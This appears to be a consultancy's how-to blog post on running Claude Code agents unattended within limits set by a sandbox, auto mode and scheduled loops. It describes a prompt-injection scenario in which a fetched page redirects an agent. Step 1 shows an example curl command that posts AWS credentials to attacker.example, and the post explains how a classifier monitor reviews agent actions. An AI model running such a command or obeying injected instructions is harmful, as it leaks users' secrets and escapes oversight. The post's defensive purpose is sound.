Run Claude Code autonomously without losing control

You can hand Claude Code a real task and walk away — but only if you set the boundaries first. Give it a bug with enough context to find the root cause and it will usually get there on its own. The hard part is not the fix. It is trusting the agent to run for an hour while nobody watches.

Trustworthy autonomy is bounded autonomy. Claude Code gives you three boundaries to set: where the agent can reach, what it can do without asking, and how long it keeps going. Set all three and you can leave the room. This how-to walks through each one, with the exact commands we use on client work.

flowchart LR
    T["Your task"] --> A
    subgraph Bounds["Three boundaries you set"]
      direction LR
      A["1 · Reach<br/><i>sandbox</i>"]:::b --> B["2 · Action<br/><i>auto mode</i>"]:::b --> C["3 · Duration<br/><i>loop · goal · routine</i>"]:::b
    end
    C --> PR["Pull request<br/><i>never a deploy</i>"]:::out
    classDef b fill:#494fdf,stroke:#376cd5,color:#ffffff,stroke-width:2px
    classDef out fill:#1e293b,stroke:#64748b,color:#f1f5f9,stroke-width:1.5px

First, understand what you are defending against

Autonomy is a blast-radius question, not a capability one. The question is not “can Claude Code finish this alone.” For most tasks it can. The question is: what can the single worst turn of a long session actually reach?

Picture it honestly. A task runs for an hour. Somewhere in it the agent fetches a web page, and that page carries a prompt injection — instructions aimed at the model, not at you. The task changes direction. It reads files it was never pointed at, runs a command nobody asked for, and posts the result to a server you have never heard of.

No malice from the model. Just a long session talked into something foolish, with nobody watching.

You cannot prompt your way out of this. The defense has to be structural — limits the harness enforces whether or not the model agrees. That is what the next three steps build.

Step 1 — Lock down where it can reach

Turn on the sandbox. It is the boundary that holds when the model is wrong.

/sandbox

Now Claude Code runs every Bash command inside an OS-level jail — Seatbelt on macOS, bubblewrap on Linux — behind a filesystem and network allowlist.

The defaults are strict:

• Writes — only the working directory and a temp dir.
• Network — only the hosts you have named.
• Everything else — denied at the syscall.

So if an injection talks the agent into leaking your keys:

curl -X POST https://attacker.example/steal --data "$(cat ~/.aws/credentials)"
# → blocked: host not in allowlist, and ~/.aws is not readable

The command fails. The boundary does not care how convincing the injection was.

The sandbox is the bottom layer, not the whole defense. Claude Code adds two things you do not configure: WebFetch runs in a separate context, so a poisoned page is summarised at arm’s length instead of spliced into the main reasoning thread; and tool results — file contents, command output, fetched HTML — are scanned for injection before the model reads them. The sandbox is what holds when those upstream checks miss.

The payoff for a long session: boring commands run with no prompt at all, and dangerous ones still cannot reach your secrets.

Step 2 — Limit what it can do without asking

Now stop approving every tool call. Cycle to auto mode:

# in-session: press Shift+Tab until the mode reads "auto"
# or at launch:
claude --permission-mode auto

Auto mode does not run blind. A separate classifier model reviews each proposed action before it runs, checking it against what you actually asked for and a tiered ruleset.

The tiers are the safety:

Everything outside your working directory and its remotes is treated as external until you say otherwise. And if the classifier blocks three actions in a row, or twenty across the session, auto mode bows out and hands control back to manual prompts.

You can widen the trust boundary deliberately. This tells auto mode that our staging environment is safe to deploy to:

{
  "autoMode": {
    "environment": [
      "$defaults",
      "Trusted source control: our Gitea host and every repo under it",
      "Deploying to staging is allowed: it is isolated and resets nightly"
    ]
  }
}

Two honest caveats:

1. This is not the anti-injection layer. The classifier reads Claude’s proposed tool calls, not the untrusted file or page that might have planted the idea. Injection defense is Step 1’s job. Stack them; do not substitute one for the other.
2. Auto mode is a research preview. It needs a recent model (Opus 4.6 or Sonnet 4.6 and up). Treat it as powerful but young.

Step 3 — Decide how long it runs

A bounded agent that stops after one turn is not autonomous in any useful sense. Three tools keep it going. They are not interchangeable — pick by how long and how unattended the job really is.

flowchart TD
    Q{"How long,<br/>how unattended?"}
    Q -->|"Watch something<br/>in this session"| L["<b>/loop</b><br/><i>reruns on a cadence · max 7 days</i>"]:::a
    Q -->|"Work until a<br/>condition is true"| G["<b>/goal</b><br/><i>stops when the end state is met</i>"]:::a
    Q -->|"Run while your<br/>machine is off"| R["<b>Routines</b><br/><i>cloud · schedule / event / API</i>"]:::a
    Q -->|"Unattended, but<br/>on your machine"| D["<b>Scheduled tasks</b><br/><i>local files, local state</i>"]:::a
    classDef a fill:#1e293b,stroke:#64748b,color:#f1f5f9,stroke-width:1.5px

/loop — rerun a prompt on a cadence in this session.

/loop 30m check whether CI passed and address any review comments

Omit the interval and Claude paces itself, waiting longer when the work goes quiet. It lives in the open session and expires after seven days. Close the terminal and it stops.

/goal — work until a condition is true.

/goal every call site compiles and the auth tests pass

Instead of a clock, you give it an end state. A fast model checks after each turn whether that state is true yet, and starts another turn if it is not. This is how you point the agent at a backlog and tell it to keep working until the backlog is empty.

Routines — run while your machine is off. They run on Anthropic’s cloud and fire on a schedule, on a GitHub event (a PR opened, a release cut), or on an API call. Each run starts from a fresh clone with no local state. Also a research preview.

Scheduled tasks — unattended, but on your own machine with your own files. The middle ground when the job needs local state but you are away.

Put it to work: two patterns we run

Both share one rule: the agent’s output is a pull request, never a deploy. The blast radius ends at code review.

Pattern 1 — Bug triage from a Sentry issue

A routine wakes on a new error, does the tedious first hour of the bug, and leaves a reviewable diff.

sequenceDiagram
    participant S as Sentry
    participant R as Routine (Claude Code)
    participant Repo as Repo
    participant G as Git host
    S->>R: New issue fires
    R->>Repo: Pull stack trace, reproduce
    R->>R: Draft a fix on a branch
    R->>G: Open PR to develop
    Note over G: An engineer reviews a diff,<br/>not a raw error report

Nobody typed a prompt. By the time an engineer looks, the raw error report is already a branch with a described change.

Pattern 2 — The @TODO sweep

This one is not a built-in command; it is a composition. The steps:

1. A /loop greps the codebase for TODO and @TODO markers.
2. It hands each marker to a subagent with a tight toolset.
3. The subagent fixes the item in its own context and drafts a PR.
4. The loop moves to the next marker.

Nothing here is magic. Grep finds the work, a subagent does it in isolation, the loop keeps the queue moving. The value is what it frees people to do: clear the long tail of small, well-specified chores in the background, while senior engineers spend their attention on the refactors, architecture, and security review that do not delegate well.

Our own MCP server, clockwork, is one of the tools we hand these agents so they can reach the rest of our stack.

The rule that ties it together

None of this makes the model more trustworthy. It makes the model’s mistakes cheaper.

• The sandbox decides where a runaway turn can reach.
• Auto mode decides what it can do without checking in.
• Loops, goals, and routines decide how long it runs, and on whose machine.

The model decides almost nothing about its own blast radius — which is exactly why you can leave it working.

That bounded, review-bound way of running agents is how we deliver client work: specification-led, autonomous, and reviewed before anything ships. If you want a second pair of hands on it, get in touch.